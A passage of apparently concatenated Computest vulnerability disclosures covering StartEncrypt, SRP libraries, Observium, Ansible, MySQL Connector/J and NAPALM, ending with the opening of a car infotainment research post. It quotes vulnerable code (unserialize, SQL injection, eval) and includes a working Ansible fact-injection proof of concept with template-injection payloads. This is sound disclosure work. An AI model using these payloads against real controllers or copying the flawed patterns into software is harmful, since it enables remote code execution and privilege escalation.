• Has an “open redirect” vulnerafeature in it

Open redirects are pages that take a parameter that contains a URL, and redirect the user to it. This seems like a strange feature, but this mechanism is often implemented for instance in logout or login pages. After a successful logout, you will be redirected to some other page. That other page URL is included as a parameter to the logout page. For instance, http://mywebsite/logout?returnURL=/login might redirect you to /login after logout.

While many see open redirects as a vulnerability that needs fixing, others do not. Google for instance has excluded open redirects from their vulnerability reward program. By itself an open redirect is not exploitable, so it is understandable that many do not see it as a security issue. However, when combined with a vulnerability like the one present in StartEncrypt, the open redirect suddenly has great impact.

It’s actually even worse: the OAuth 2.0 specification practically mandates that an open redirect must be present in each implementation of the spec. For this reason, login.live.com and graph.facebook.com for instance contain open redirects.

When combining the path-bug with the open redirect, suddenly many more certificates can be obtained, like for google.com, paypal.com, linkedin.com, login.live.com and all those other websites with open redirects. While not every website has an open redirect feature, many do at some point in time.

That’s still not all

Apart from the vulnerability described above, we found some other vulnerabilities in the client while doing just a cursory check. We are only publishing those that according to StartCom have been fixed or are no issue. These include:

• The client doesn’t check the server’s certificate for validity when connecting to the API, which is pretty ironic for an SSL tool.
• The API doesn’t verify the content-type of the file it downloads for verification, so attackers can obtain certificates for any website where users can upload their own avatars (in combination with the above vulnerabilities of course)
• The API only involves the server obtaining the raw RSA signature of the nonce. The signature file doesn’t identify the key nor the nonce that was used. This opens up the possibility of a “Duplicate-Signature Key Selection” attack, just like what Andrew Ayer discovered in the ACME protocol while LetsEncrypt was in beta, see also this post. As long as the signfile is on a domain, an attacker can obtain the signfile, start a new authorization and obtain a nonce and then pick their RSA private key in such a way that their private key verifies their nonce.
• The private key on the server (/usr/local/StartEncrypt/conf/cert/tokenpri.key) is saved with mode 0666, so world-readable, which means any local user can read or modify it.

All in all, it doesn’t seem like a lot of attention was paid to security in the design and implementation of this piece of software.

Disclosure

As a security company, we constantly do security research. Usually for paying customers. In this case however, we started looking at StartEncrypt out of interest and because of the high impact any issues have for the internet as a whole. That is also why we are disclosing this issue: we believe that CA’s need to become much more aware of the vital role they play in internet security and need to start taking their software security more serious.

Of course, we disclosed the issue to StartCom prior to publishing. The vulnerabilities we described were found in the Linux x86_64 binary version 1.0.0.1. The timeline:

June 22, 2016: issue discovered
June 23, 2016: issue disclosed to StartCom after obtaining email address by phone
June 23, 2016: StartCom takes API offline
June 28, 2016: StartCom takes API online again, incompatible with current client
June 28, 2016: StartCom updates the Windows-client on the download page
June 29, 2016: StartCom updates the Linux-client on the download page, keeping the version number at 1.0.0.1
June 30, 2016: StartCom informs Computest of which issues have been fixed

Conclusion

StartCom launched a tool that makes it easier to secure communications on the internet, which is something we applaud. In doing so however, they seem to have taken some shortcuts in engineering. Using their tool, an attacker is able to obtain certificates for other domains like google.com, linkedin.com, login.live.com and dropbox.com.

In our opinion, StartCom made a mistake by publishing StartEncrypt the way it is. Although they appreciated the issues for the impact they had and were swift in their response, it is apparent that too little attention was paid to security both in design (allowing the user to specify the path) and implementation (for instance in following redirects, static linking against a vulnerable library, and so on). Furthermore, they didn’t learn from the issues LetsEncrypt faced when in beta.

But the issue is broader. As users of the internet, we trust the CA’s to provide us with a base for trust upon which we do business and share our lives online. When a single CA publishes software with this level of security, the trust in the CA system as a whole is undermined.

In this blog we’ll look at an interesting vulnerability in some implementations of a widely used authentication protocol; Secure Remote Password (SRP). We’ll dive into the cryptography details to see what implications a little mathematical oversight has for the security of the whole protocol.

This vulnerability was discovered while evaluating some different implementations of the SRP 6a protocol.

The problem was initially identified in cSRP (which also affects PySRP if using the C module for acceleration), and was also found in srpforjava. It’s not clear how many users these projects have, but regardless the bug is interesting enough to discuss by itself.

SRP: What is it good for?

SRP is a popular choice for linking devices or apps to a master server using a short password or pin code. SRP is often used for authentication that involves a password, like in mobile banking apps (for instance the ING mobile banking app in the Netherlands) but also in Steam.

Quote from http://srp.stanford.edu/: “The Secure Remote Password protocol performs secure remote authentication of short human-memorizable passwords and resists both passive and active network attacks.”

In other words, being able to read and mess with network traffic of a legitimate client does not help an attacker log in. The fastest way to break in is to just try every possible password. The server can prevent this using rate limiting or by locking accounts.

SRP in three steps

The protocol consists of three stages:

1. Client and server exchange public ephemeral values.
2. Client and server calculate the session key.
3. Client and server prove to each other that they know the session key. This can optionally be integrated with the normal communication that happens after authentication.

For the purpose of this blog only the first part of the protocol is relevant. In this stage the client sends its ephemeral value along with a username, and the server responds with its own ephemeral value and the random salt value for the given user.

How SRP checks your password

In the first part of the protocol the client and server exchange “ephemeral values”, which are large numbers calculated according to the SRP protocol. These values actually play multiple roles at once in the SRP protocol. This is how it performs authentication and establishes a shared session key in just one round trip!

The first role is as a kind of key exchange in a way that is similar to how Diffie-Hellman key exchange works. In Diffie-Hellman both parties generate a random number r which is their private value, and use this to generate a public value using the formula (g ** r) % N, where g and N are public fixed parameters. In SRP the client generates its public value in exactly this way, but the server does something slightly different.

In SRP the Diffie-Hellman key exchange is altered to additionally force the client to prove that it knows the password for a certain user. One way to think of this is that the server alters its public value based on the password for the given user, and the client needs to compensate for this alteration in order to derive the same session key as the server. The client can only perform this compensation if it knows the password.

In order to perform this calculation the server uses a “verifier” value for the desired user. In many ways a verifier is like a password hash. It is only derived from the username, the password, and the salt. Since the username and salt are stored in plain text on the server and are sent in plain text over the network, the password is the only unknown part and an attacker can generate verifiers for every possible password until he finds a match. Since a verifier is generated using only a single hash operation and a modular exponentiation in most SRP implementations, it is fairly easy to brute force compared to modern password hashing methods like scrypt.

One other way this “verifier” value is like a password hash, is that it’s not sent over the network, and even if it is stolen from the server, a hacker can’t use it to log in directly. Because of how it’s generated the server can use it to calculate its public ephemeral value, but a client can’t use it to calculate the session key. A client needs the actual password for that.

How the hacker gets your password: the bug

Warning: math ahead! It helps if you understand some algebra, but hopefully it’s not required.

Now we come to the actual bug, which is in the calculation of the server’s public ephemeral value. This is the formula to calculate this value:

B = (k * v + ((g ** b) % N)) % N

The ((g ** b) % N) part is just the standard Diffie-Hellman calculation of a public value from the private random value b. The values g and N are the public Diffie-Hellman parameters.

The addition of k * v is the extra adjustment for authentication in the SRP protocol. The value k is calculated by hashing the (public) g and N values (so k is also public), while v is the verifier for the user that is logging in.

In the buggy implementations, the actual calculation for B is slightly different:

B' = k * v + ((g ** b) % N)

In other words, the final reduction modulo N is missing. As it turns out, that is actually very important! Because B has this final modulo operation, the public Diffie-Hellman value and the value derived from the verifier are hopelessly mixed up, and we can’t separate the two at all anymore.

But what about B'? Well, we can divide it by k.

B' = (k * v + ((g ** b) % N)) / k

Let’s define i and j as the unknown quotient and remainder of dividing the public Diffie-Hellman value ((g ** b) % N) by k:

((g ** b) % N) = k * i + j
B' = (k * v + (k * i + j)) / k

By definition j is smaller than k so we disregard it:

B' = (k * v + k * i) / k
B' / k = v + i

Lets write |B| for the (approximate) length of B in bits. I’m going to ask you to just take my word for it that values that came from a modular exponentiation ((g**x) % N) (like v) are about as long as N (say 2048 bit), and values resulting from a hash (like k) are about as long as whatever the size of that hash function’s output is (say 256 bits).

Now we know these things about the lengths of v and i:

|v| ~= |N|
|i| ~= |N| - |k|

In words: v is 2048 bits, while i is (2048 – 256) bits long. So the value i is about 256 bits shorter than v.

Take a look at B' / k again with that in mind:

B' / k = v + i

This means that the top 256 bits of B’ / k are equal to the top 256 bits of the verifier v! In other words, the server leaks the top 256 bits of the verifier.

What is that good for? Well, the odds of two different verifiers having the same top 256 bits are impossibly small. This means that these top 256 bits are enough to check whether two verifiers are equal, which means we can perform offline password cracking using this leaked part of the verifier.

Note that all bit lengths are approximate, and in any case the values 2048 and 256 depend on the Diffie-Hellman parameters and hash function used.

In short

Because of this bug the server will send a value equivalent to a password hash to any client that wants to log in. This can then be cracked offline, which totally breaks the guarantees of the SRP protocol.

The fix

Tom Cocagne, the maintainer of cSRP, was very quick to fix the affected code after we reported the bug. The fix is to perform the missing modulo operation.

The author of srpforjava was contacted later, after we discovered that this library was also affected. We’ve sent a patch, but this is not applied yet.

Both libraries haven’t had a new release in a long time, and it’s difficult to determine who’s using these libraries. Hopefully this blog post will reach them.

Because the client performs all operations modulo N, the fact that the server now returns different B values does not affect the normal operation of the protocol at all. Clients are compatible with both the patched and unpatched server.

Do not try this at home

This article tries to explain SRP in a simplified way. Please do not go and implement SRP yourself. In fact, please do not implement any cryptography code unless you are an expert! When it comes to cryptography, every detail matters. Even the ones the textbook doesn’t mention.

During a recent penetration test Computest found and exploited various issues in Observium, going from unauthenticated user to full shell access as root. We reported these issues to the Observium project for the benefit of our customer and other members of the community.

This was not a full audit and further issues may or may not be present.

(Note about affected versions: The Observium project does not provide a way to download older releases for non-paying users, so there was no way to check whether these problems exist in older versions. All information given here applies to the latest Community Edition as of 2016-10-05.)

About Observium

“Observium is a low-maintenance auto-discovering network monitoring platform supporting a wide range of device types, platforms and operating systems including Cisco, Windows, Linux, HP, Juniper, Dell, FreeBSD, Brocade, Netscaler, NetApp and many more.” - observium.org

Issue #1: Deserialization of untrusted data

Observium uses the get_vars() function in various places to parse the user-supplied GET, POST and COOKIE values. This function will attempt to unserialize data from any of the requested fields using the PHP unserialize() function.

Deserialization of untrusted data is in general considered a very bad idea, but the practical impact of such issues can vary.

Various memory corruption issues have been identified in the PHP unserialize() function in the past, which can lead directly to remote code execution. On patched versions of PHP exploitability depends on the application.

In the case of Observium the issue can be exploited to write mostly user-controlled data to an arbitrary file, such as a PHP session file. Computest was able to exploit this issue to create a valid Observium admin session.

The function get_vars() eventually calls var_decode(), which unserializes the user input.

./includes/common.inc.php:

function var_decode($string, $method = 'serialize')
{
 $value = base64_decode($string, TRUE);
 if ($value === FALSE)
 {
   // This is not base64 string, return original var
   return $string;
 }

 switch ($method)
 {
   case 'json':
     if ($string === 'bnVsbA==') { return NULL; };
     $decoded = @json_decode($value, TRUE);
     if ($decoded !== NULL)
     {
       // JSON encoded string detected
       return $decoded;
     }
     break;
   default:
     if ($value === 'b:0;') { return FALSE; };
     $decoded = @unserialize($value);
     if ($decoded !== FALSE)
     {
       // Serialized encoded string detected
       return $decoded;
     }
 }

Issue #2: Admins can inject shell commands, possibly as root

Admin users can change the path of various system utilities used by Observium. These paths are directly used as shell commands, and there is no restriction on their contents.

This is not considered a bug by the Observium project, as Admin users are considered to be trusted.

The Observium installation guide recommends running various Observium scripts from cron. The instructions given in the installation guide will result in these scripts being run as root, and invoking the user- controllable shell commands as root.

Since this functionality resulted in an escalation of privilege from web application user to system root user it is included in this advisory despite the fact that it appears to involve no unintended behavior in Observium.

Even if the Observium system is not used for anything else, privileged users log into this system (and may reuse passwords elsewhere), and the system as a whole may have a privileged network position due to its use as a monitoring tool. Various other credentials (SNMP etc) may also be of interest to an attacker.

The function rrdtool_pipe_open() uses the Admin-supplied config variable to build and run a command:

./includes/rrdtool.inc.php:

function rrdtool_pipe_open(&$rrd_process, &$rrd_pipes)
{
 global $config;

 $command = $config['rrdtool'] . " -"; // Waits for input via standard input (STDIN)

 $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr
 );

 $cwd = $config['rrd_dir'];
 $env = array();

 $rrd_process = proc_open($command, $descriptorspec, $rrd_pipes, $cwd, $env);

Issue #3: Incorrect use of cryptography in event feed authentication

Observium contains an RSS event feed functionality. Users can generate an RSS URL that displays the events that they have access to.

Since RSS viewers may not have access to the user’s session cookies, the user is authenticated with a user-specific token in the feed URL.

This token consists of encrypted data, and the integrity of this data is not verified. This allows a user to inject essentially random data that the Observium code will treat as trusted.

By sending arbitrary random tokens a user has at least a 1/65536 chance of viewing the feed with full admin permissions, since admin privileges are granted if the decryption of this random token happens to start with the two-character string 1| (1 being the user id of the admin account).

In general a brute force attack will gain access to the feed with admin privileges in about half an hour.

./html/feed.php:

if (isset($_GET['hash']) && is_numeric($_GET['id']))
{
 $key = get_user_pref($_GET['id'], 'atom_key');
 $data = explode('|', decrypt($_GET['hash'], $key)); // user_id|user_level|auth_mechanism

 $user_id    = $data[0];
 $user_level = $data[1]; // FIXME, need new way for check userlevel, because it can be changed
 if (count($data) == 3)
 {
   $check_auth_mechanism = $config['auth_mechanism'] == $data[2];
 } else {
   $check_auth_mechanism = TRUE; // Old way
 }

 if ($user_id == $_GET['id'] && $check_auth_mechanism)
 {
   session_start();
   $_SESSION['user_id']   = $user_id;
   $_SESSION['userlevel'] = $user_level;

(Note: this session is destroyed at the end of the page)

Issue #4: Authenticated SQL injection

One of the graphs supported by Observium contains a SQL injection problem. This code is only reachable if unauthenticated users are permitted to view this graph, or if the user is authenticated.

The problem lies in the port_mac_acc_total graph.

When the stat parameter is set to a non-empty value that is not bits or pkts the sort parameter will be used in a SQL statement without escaping or validation.

The id parameter can be set to an arbitary numeric value, the SQL is executed regardless of whether this is a valid identifier.

This can be exploited to leak various configuration details including the password hashes of Observium users.

./html/includes/graphs/port/mac_acc_total.inc.php:

$port      = (int)$_GET['id'];
if ($_GET['stat']) { $stat      = $_GET['stat']; } else { $stat = "bits"; }
$sort      = $_GET['sort'];

if (is_numeric($_GET['topn'])) { $topn = $_GET['topn']; } else { $topn = '10'; }

include_once($config['html_dir']."/includes/graphs/common.inc.php");

if ($stat == "pkts")
{
 $units='pps'; $unit = 'p'; $multiplier = '1';
 $colours_in  = 'purples';
 $colours_out = 'oranges';
 $prefix = "P";
 if ($sort == "in")
 {
   $sort = "pkts_input_rate";
 } elseif ($sort == "out") {
   $sort = "pkts_output_rate";
 } else {
   $sort = "bps";
 }
} elseif ($stat == "bits") {
 $units='bps'; $unit='B'; $multiplier='8';
 $colours_in  = 'greens';
 $colours_out = 'blues';
 if ($sort == "in")
 {
    $sort = "bytes_input_rate";
 } elseif ($sort == "out") {
    $sort = "bytes_output_rate";
 } else {
   $sort = "bps";
 }
}

$mas = dbFetchRows("SELECT *, (bytes_input_rate + bytes_output_rate) AS bps,
       (pkts_input_rate + pkts_output_rate) AS pps
       FROM `mac_accounting`
       LEFT JOIN  `mac_accounting-state` ON  `mac_accounting`.ma_id =  `mac_accounting-state`.ma_id
       WHERE `mac_accounting`.port_id = ?
       ORDER BY $sort DESC LIMIT 0," . $topn, array($port));

Mitigation

The Observium web application can be placed behind a firewall or protected with an additional layer of authentication. Even then, admin users should be treated with care as they are able to execute commands (probably as root) until the issues are patched.

The various cron jobs needed by Observium can be run as the website user (e.g. www-data) or a user created specifically for that purpose instead of as root.

Resolution

Observium has released a new Community Edition to resolve these issues.

The Observium project does not provide changelogs or version numbers for community releases.

Timeline

2016-09-01 Issue discovered during penetration test
2016-10-21 Vendor contacted
2016-10-21 Vendor responds that they are working on a fix
2016-10-26 Vendor publishes new version on website
2016-10-28 Vendor asks Computest to comment on changes
2016-10-31 Computest responds with quick review of changes
2016-11-10 Advisory published

During a summary code review of Ansible, Computest found and exploited several issues that allow a compromised host to execute commands on the Ansible controller and thus gain access to the other hosts controlled by that controller.

This was not a full audit and further issues may or may not be present.

About Ansible

“Ansible is an open-source automation engine that automates cloud provisioning, configuration management, and application deployment. Once installed on a control node, Ansible, which is an agentless architecture, connects to a managed node through the default OpenSSH connection type.” - wikipedia.org

Technical Background

A big threat to a configuration management system like Ansible, Puppet, Salt Stack and others, is compromise of the central node. In Ansible terms this is called the Controller. If the Controller is compromised, an attacker has unfettered access to all hosts that are controlled by the Controller. As such, in any deployment, the central node receives extra attention in terms of security measures and isolation, and threats to this node are taken even more seriously.

Fortunately for team blue, in the case of Ansible the attack surface of the Controller is pretty small. Since Ansible is agent-less and based on push, the Controller does not expose any services to hosts.

A very interesting bit of attack surface though is in the Facts. When Ansible runs on a host, a JSON object with Facts is returned to the Controller. The Controller uses these facts for various housekeeping purposes. Some facts have special meaning, like the fact ansible_python_interpreter and ansible_connection. The former defines the command to be run when Ansible is looking for the python interpreter, and the second determines the host Ansible is running against. If an attacker is able to control the first fact he can execute an arbitrary command, and if he is able to control the second fact he is able to execute on an arbitrary (Ansible-controlled) host. This can be set to local to execute on the Controller itself.

Because of this scenario, Ansible filters out certain facts when reading the facts that a host returns. However, we have found 6 ways to bypass this filter.

In the scenarios below, we will use the following variables:

PAYLOAD = "touch /tmp/foobarbaz"

# Define some ways to execute our payload.
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
    # Note that it echoes an empty dictionary {} (it's not a format string).
    'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
    'ansible_connection': 'local',
    # Become is usually enabled on the remote host, but on the Ansible
    # controller it's likely password protected. Disable it to prevent
    # password prompts.
    'ansible_become': False,
}

Bypass #1: Adding a host

Ansible allows modules to add hosts or update the inventory. This can be very useful, for instance when the inventory needs to be retrieved from a IaaS platform like as the AWS module does.

If we’re lucky, we can guess the inventory_hostname, in which case the host_vars are overwritten and they will be in effect at the next task. If host_name doesn’t match inventory_hostname, it might get executed in the play for the next hostgroup, also depending on the limits set on the commandline.

# (Note that when data["add_host"] is set,
# data["ansible_facts"] is ignored.)
data['add_host'] = {
    # assume that host_name is the same as inventory_hostname
    'host_name': socket.gethostname(),
    'host_vars': INTERPRETER_FACTS,
}

lib/ansible/plugins/strategy/__init__.py#L447

Bypass #2: Conditionals

Ansible actions allow for conditionals. If we know the exact contents of a when clause, and we register it as a fact, a special case checks whether the when clause matches a variable. In that case it replaces it with its contents and evaluates them.

# Known conditionals, separated by newlines
known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:
    data['ansible_facts'][known_conditional] = LOOKUP

Bypass #3: Template injection in stat module

The template module/action merges its results with those of the stat module. This allows us to bypass the stripping of magic variables from ansible_facts, because they’re at an unexpected location in the result tree.

data.update({
    'stat': {
        'exists': True,
        'isdir': False,
        'checksum': {
            'rc': 0,
            'ansible_facts': INTERPRETER_FACTS,
        },
    }
})

lib/ansible/plugins/action/template.py#L39
lib/ansible/plugins/action/template.py#L49
lib/ansible/plugins/action/template.py#L146
lib/ansible/plugins/action/__init__.py#L678

Bypass #4: Template injection by changing jinja syntax

Remote facts always get quoted. set_fact unquotes them by evaluating them. UnsafeProxy was designed to defend against unquoting by transforming jinja syntax into jinja comments, effectively disabling injection.

Bypass the filtering of {{ and {% by changing the jinja syntax. The {{}} is needed to make it look like a variable. This works against:

- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD  + "')]]",
})

Bypass #5: Template injection in dict keys

Strings and lists are properly cleaned up, but dictionary keys are not. This works against:

- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"
- command: echo "{{foo}}

The prefix and/or suffix are needed in order to turn the dict into a string, otherwise the value would remain a dict.

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})

Bypass #6: Template injection using safe_eval

There’s a special case for evaluating strings that look like a list or dict. Strings that begin with { or [ are evaluated by safe_eval. This allows us to bypass the removal of jinja syntax: we use the whitelisted Python to re-create a bit of Jinja template that is interpreted.

This works against:

- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})

Issue: Disabling verbosity

Verbosity can be set on the controller to get more debugging information. This verbosity is controlled through a custom fact. A host however can overwrite this fact and set the verbosity level to 0, hiding exploitation attempts.

data['_ansible_verbose_override'] = 0

lib/ansible/plugins/callback/default.py#L99
lib/ansible/plugins/callback/default.py#L208

Issue: Overwriting files

Roles usually contain custom facts that are defined in defaults/main.yml, intending to be overwritten by the inventory (with group and host vars). These facts can be overwritten by the remote host, due to the variable precedence. Some of these facts may be used to specify the location of a file that will be copied to the remote host. The attacker may change it to /etc/passwd. The opposite is also true, he may be able to overwrite files on the Controller. One example is the usage of a password lookup with where the filename contains a variable.

Mitigation

Computest is not aware of mitigations short of installing fixed versions of the software.

Resolution

Ansible has released new versions that fix the vulnerabilities described in this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.

Conclusion

The handling of Facts in Ansible suffers from too many special cases that allow for the bypassing of filtering. We found these issues in just hours of code review, which can be interpreted as a sign of very poor security. However, we don’t believe this is the case.

The attack surface of the Controller is very small, as it consists mainly of the Facts. We believe that it is very well possible to solve the filtering and quoting of Facts in a sound way, and that when this has been done, the opportunity for attack in this threat model is very small.

Furthermore, the Ansible security team has been understanding and professional in their communication around this issue, which is a good sign for the handling of future issues.

Timeline

2016-12-08 First contact with Ansible security team
2016-12-09 First contact with Redhat security team ([email protected])
2016-12-09 Submitted PoC and description to [email protected]
2016-12-13 Ansible confirms issue and severity
2016-12-15 Ansible informs us of intent to disclose after holidays
2017-01-05 Ansible informs us of disclosure date and fix versions
2017-01-09 Ansible issues fixed version\

A malicious MySQL database or a database containing malicious contents can obtain remote code execution in applications connecting using MySQL Connector/J.

Technical Background

MySQL Connector/J is a driver for MySQL adhering to the Java JDBC interface. One of the features offered by MySQL Connector/J is support for automatic serialization and deserialization of Java objects, to make it easy to store arbitrary objects in the database.

When deserializing objects, it is important to never deserialize objects received from untrusted sources. As certain functions are automatically called on objects during deserialization and destruction, attackers can combine objects in unexpected ways to call specific functions, eventually leading to the execution of arbitrary code (depending on which classes are loaded). As the code is often executed as soon as the object is constructed or destructed, additional type-checking on the constructed object is not enough to protect against this.

MySQL Connector/J requires the flag autoDeserialize to be set to true before objects are automatically deserialized, which should only be set when the database and its contents are fully trusted by the application.

Vulnerability

During a short evaluation of the MySQL Connector/J source code, a method was found to deserialize objects from the database when this flag is not set and when API functions are used which do not imply the deserialization of objects at all.

The conditions are the following:

• The flag useServerPrepStmts is set to true. With this flag enabled, the server caches prepared SQL statements and arguments are sent to it separately. As this allows statements to be reused, it is often enabled for increased performance.

• The application is reading from a column having type BLOB, or the similar TINYBLOB, MEDIUMBLOB or LONGBLOB.

• The application is reading from this column using .getString() or one of the functions reading numeric values (which are first read as strings and then parsed as numbers). Notably not .getBytes() or .getObject().

When these conditions are met, MySQL Connector/J will check if the data starts with 0xAC 0xED (the magic bytes of a serialized Java object) and if so, attempt to deserialize it and try to convert it to a string.

The vulnerable code:

case Types.LONGVARBINARY:

if (!field.isBlob()) {
    return extractStringFromNativeColumn(columnIndex, mysqlType);
} else if (!field.isBinary()) {
    return extractStringFromNativeColumn(columnIndex, mysqlType);
} else {
    byte[] data = getBytes(columnIndex);
    Object obj = data;

    if ((data != null) && (data.length >= 2)) {
        if ((data[0] == -84) && (data[1] == -19)) {
            // Serialized object?
            try {
                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                obj = objIn.readObject();
                objIn.close();
                bytesIn.close();
            } catch (ClassNotFoundException cnfe) {
                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
            } catch (IOException ex) {
                obj = data; // not serialized?
            }
        }

        return obj.toString();
    }

src/com/mysql/jdbc/ResultSetImpl.java#L3422-L3450

The combination of a column of type BLOB and the vulnerable functions does not follow common best practices for using a database: BLOB columns are meant to store arbitrary binary data, which should be read using .getBytes(). However, there are many scenarios where this can still be exploited by an attacker:

• An application does not follow best practices and stores text (or numbers) in a column of type BLOB and an attacker can insert arbitrary binary data into this column.

• An application is configured to connect to a remote untrusted database or over an unencrypted connection which is intercepted by an attacker.

• An application has an SQL injection vulnerability which allows an attacker to change the type of a columm to BLOB.

Impact

An attacker who is able to abuse this vulnerability, can have the application deserialize arbitrary objects. The direct impact is that the attacker can call into any loaded classes. Often, but depending on the application, this can be leveraged to gain code execution by calling into loaded classes that perform actions on files or system commands.

Resolution

The vulnerability can be resolved by updating MySQL Connector/J to version 5.1.41 and ensuring the flag autoDeserialize is not set.

Mitigation

This vulnerability can be mitigated on older versions by ensuring the flags autoDeserialize and useServerPrepStmts are not set.

Conclusion

MySQL Connector/J will (under specific conditions) unexpectedly deserialize objects from a MySQL database, allowing remote code execution. This could be used by attackers to escalate access to a database into remote code execution or possibly allow remote code execution by any user who can insert data into a database.

Timeline

2017-01-23: Issue reported to [email protected].
2017-01-23: Received a confirmation that the bug was under investigation.
2017-01-27: Publicly fixed in commit 6189e718de5b6c6115aee45dd7a480081c129d68
2017-02-24: Received an automatic email that a fix is ready and that an advisory will be published in a future Critical Patch Update.
2017-02-28: Fix released in version 5.1.41.
2017-03-24: Received an automatic email that a fix is ready and that an advisory will be published in a future Critical Patch Update.
2017-04-18: Oracle published Critical Patch Update April 2017, without this issue.
2017-04-19: Contacted Oracle to ask if a CVE number has been assigned to this issue.
2017-04-19: Received a reply from Oracle that they were verifying which versions are vulnerable.
2017-04-21: Oracle published revision 2 of the Critical Patch Update of April 2017, including this issue.

During a summary code review of NAPALM, Computest found and exploited several issues that allow a compromised host to execute commands on the NAPALM controller and thus gain access to the other hosts controlled by that controller.

This was not a full audit and further issues may or may not be present.

About NAPALM

NAPALM (Network Automation and Programmability Abstraction Layer with Multivendor support) is a Python library that implements a set of functions to interact with different router vendor devices using a unified API.

NAPALM supports several methods to connect to the devices, to manipulate configurations or to retrieve data.

(Taken from their README)

Technical Background

A big threat to a configuration management system like NAPALM, Ansible, Salt Stack and others is compromise of the central node, or controller. If the controller is compromised, an attacker has unfettered access to all hosts that are controlled by the controller. As such, in any deployment, the central node receives extra attention in terms of security measures and isolation, and threats to this node are taken even more seriously.

Issue: Unsafe eval() when validating configurations

The validator allows for a number comparison using < and >. This is handled by the compare_numeric() function in napalm-base/validator.py. The function assumes that the value that is retrieved from the router is also a number and continues to use the eval() function for the actual comparison. However, a compromised device can of course also return an arbitrary string, which will be evaluated.

def compare_numeric(src_num, dst_num):
    """Compare numerical values. You can use '<%d','>%d'."""
    complies = eval(str(dst_num)+src_num)
    if not isinstance(complies, bool):
        return False
    return complies

Issue 2: Unsafe eval() in the IOS XR driver

The eval() function is also used quite extensively in the IOS XR driver. Its use case seems to be to transform a string, from the API, which contains true or false to a Python boolean. When the router is compromised however, the string could contain an arbitrary value that is passed to the eval() function. The difficulty in exploiting this would be that the value is first passed to the title() function before it is evaluated as Python code. The title() function capitalizes the first character of each word in a string.

For example:

multipath = eval((napalm_base.helpers.find_txt(
                bgp_group, 'NeighborGroupAFTable/NeighborGroupAF/Multipath') or 'false').title())

napalm_iosxr/iosxr.py#L821
napalm_iosxr/iosxr.py#L821
napalm_iosxr/iosxr.py#L952
napalm_iosxr/iosxr.py#L966
napalm_iosxr/iosxr.py#L968
napalm_iosxr/iosxr.py#L970
napalm_iosxr/iosxr.py#L1003
napalm_iosxr/iosxr.py#L1005
napalm_iosxr/iosxr.py#L1145
napalm_iosxr/iosxr.py#L1368

Mitigation

Users that are unable to update, can mitigate the issues by not using the < or < validation options and not use the IOS XR driver.

Resolution

Users can update to version 0.24.3 of napalm-base and 0.5.3 of napalm-iosxr, which fixes these vulnerabilities.

Challenge

We have taken the liberty to transform this vulnerability into a CTF challenge for SHA2017. Exploitation is left as an exercise for the reader:

#!/usr/bin/env python2

eval(raw_input().title())

Conclusion

The NAPALM project assumes that all nodes are playing nice. However, this assumption does not hold in a situation where a node is compromised. The project would benefit from a more defensive programming style, were values that are returned from a node are considered hostile and addressed accordingly.

We would like to thank the developers of NAPALM for their quick response. The mentioned vulnerabilities were fixed within 2 hours after our initial email!

Timeline

2017-07-12 First contact with NAPALM developers
2017-07-12 NAPALM released a fix

Introduction

Our world is becoming more and more digital, and the devices we use daily are becoming connected more and more. Thinking of IoT products in domotics and healthcare, it’s easy to find countless examples of how this interconnectedness improves our quality of life.

However, these rapid changes also pose risks. In the big rush forward, we as a society aren’t always too concerned with these risks until they manifest themselves. This is where the hacker community has taken an important role in the past decades: using curiosity and skills to demonstrate that the changes in the name of progress sometimes have a downside that we need to consider.

At Computest, our mission is to improve the quality of the software that surrounds us. While we normally do so through services and consulting to our customers, R&D projects play an important role as well. In 2017 we put significant R&D effort in vehicle security. We chose this topic for a number of reasons, besides it being an interesting topic from a technical point of view. For one because we saw more and more cars in our car park with internet connectivity, often without a convenient mechanism to receive or apply security updates. This ecosystem reminded us of other IoT systems, where we face similar problems concerning remote maintenance. We were interested to see how these effect the current state of security in the automotive vehicle industry. We also felt that this research topic would not only be of interest to us, but would also make the world a little bit safer in an industry that effects us all. Lastly this topic would of course allow us to demonstrate our expertise in the field. This post describes our research approach, the research itself and its findings, the disclosure process with the manufacturer and finally our conclusions.

We are not the first to investigate the current state of security in automotive vehicles, the research of Charlie Miller and Chris Valasek being the most prominent example. They found that the IVI (In-Vehicle Infotainment) system in their car suffered from a trivial vulnerability, which could be reached via the cellular connection because it was unfirewalled. We wanted to see if anything had changed since then, or if the same attack strategy might also succeed to other cars as well.

For this research, we looked at different cars from different models and brands, with the similarity that all cars had internet connectivity. In the end, we focused our research on one specific in-vehicle infotainment (IVI) system, that is used in most cars from the Volkswagen Auto Group and often referred to as MIB. More specifically, in our research we used a Volkswagen Golf GTE and an Audi A3 e-tron.

At Computest we believe in public disclosure of identified vulnerabilities as users should be aware of the risks related to use a specific product or service. But at all times we also consider it our responsibility that nobody is put at unnecessary risk and also no unnecessary damage is caused by such a disclosure.

The vulnerabilities we identified are all software-based, and therefore could be mitigated via a firmware upgrade. However, this cannot be done remotely, but must be done by an official dealer which makes upgrading the entire fleet at once difficult.

